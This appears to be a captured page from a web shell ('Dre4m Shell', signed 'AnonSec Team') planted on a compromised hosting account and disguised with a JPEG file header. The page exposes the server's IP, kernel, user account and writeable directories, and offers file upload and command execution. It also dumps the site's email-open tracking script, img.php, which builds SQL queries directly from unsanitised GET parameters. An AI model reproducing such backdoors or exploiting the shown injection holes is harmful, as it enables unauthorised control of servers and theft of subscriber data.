ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/ODLDDD_2/OLD/seo-mailing/statistics/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/ODLDDD_2/OLD/seo-mailing/statistics/img.php
<?php 
if(isset($_GET['task']) && isset($_GET['mail'])){
	require_once('../_config.php');
	
	 $db = mysqli_connect($INFO['sql_host'], $INFO['sql_user'], $INFO['sql_pass'], $INFO['sql_database'])
        or die ("Connexion impossible au serveur !");
	

if(isset($_SERVER['HTTP_X_FORWARDED_FOR']) && $_SERVER['HTTP_X_FORWARDED_FOR'] <> ''){
	$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
	$ip = $_SERVER['REMOTE_ADDR'];
}

$task = mysqli_fetch_array($db,mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."mail_task WHERE id_md5 = '".$_GET['task']."' LIMIT 1"));

$user = mysqli_fetch_array(mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."mail_user WHERE unsubscribe_code = '".$_GET['mail']."' LIMIT 1"));

$result = mysqli_query($db,"SELECT id FROM ".$INFO['sql_tbl_prefix']."statistic_open WHERE id_task = ".$task['id']." AND id_user = ".$user['id']." LIMIT 1") or die(mysqli_error());
if(mysqli_num_rows($result) > 0){
	$stat = mysqli_fetch_array($result);
	$ip_array = explode(",",$ip);
    $query = IPAPI::query(trim($ip_array[0]));
	$country = $query->country;
	$countryCode = $query->countryCode;
	$city = $query->regionName." - ".$query->city;
	
	$query = "UPDATE ".$INFO['sql_tbl_prefix']."statistic_open SET count_o= count_o + 1, ip = '{$ip}',
	country = '{$country}', countryCode = '{$countryCode}', city ='{$city}' WHERE id = ".$stat['id']." LIMIT 1";
    mysqli_query($db,$query) or exit("insert error" . mysqli_error()."<br>".$query);
}else{
	$ip_array = explode(",",$ip);
    $query = IPAPI::query(trim($ip_array[0]));
	$country = $query->country;
	$countryCode = $query->countryCode;
	$city = $query->regionName." - ".$query->city;
	
	
	$query = "INSERT INTO ".$INFO['sql_tbl_prefix']."statistic_open (id, id_task, id_user, ddate, count_o, ip, country, countryCode, city) VALUES
	 ('', '{$task['id']}','{$user['id']}','".time()."', '1',  '{$ip_array[0]}', '{$country}', '{$countryCode}', '{$city}')"; 
	mysqli_query($db,$query) or exit("insert error" . mysqli_error()."<br>".$query);
}
	$result = mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."autoresponders WHERE type = 'opened' AND status = 1 LIMIT 1");
	if(mysqli_num_rows($result) > 0){
		$templ = mysqli_fetch_array($result);
					$mail = new PHPMailer();
					$mail->CharSet = "utf-8";
					$mail->SetFrom($_SET['email_from'], $_SET['titlefrom']);				
					$mail->AddReplyTo($_SET['email_from'],$_SET['titlefrom']);
					
					$mail->AddAddress($INFO['email_from']);		
					$mail->Subject = $templ['title'];
					
					$body = $templ['message'];
					$body = str_replace('{subscriber_email}', $user['email'], $body);
					echo $body = str_replace('{email_newsletter_subject}', $task['name'], $body);
					
					$result_sh = mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."shortcodes WHERE system = 0");
					if(mysqli_num_rows($result_sh)>0){
						while($sh = mysqli_fetch_array($result_sh)){
							$body = str_replace("{".$sh['shortcode']."}", $sh['value'], $body);
						}
					}
					$text_html = $body;
					$mail->MsgHTML($text_html);
					$mail->Send();
		
	}
	


mysql_close($db);
}
?>

Anon7 - 2022
AnonSec Team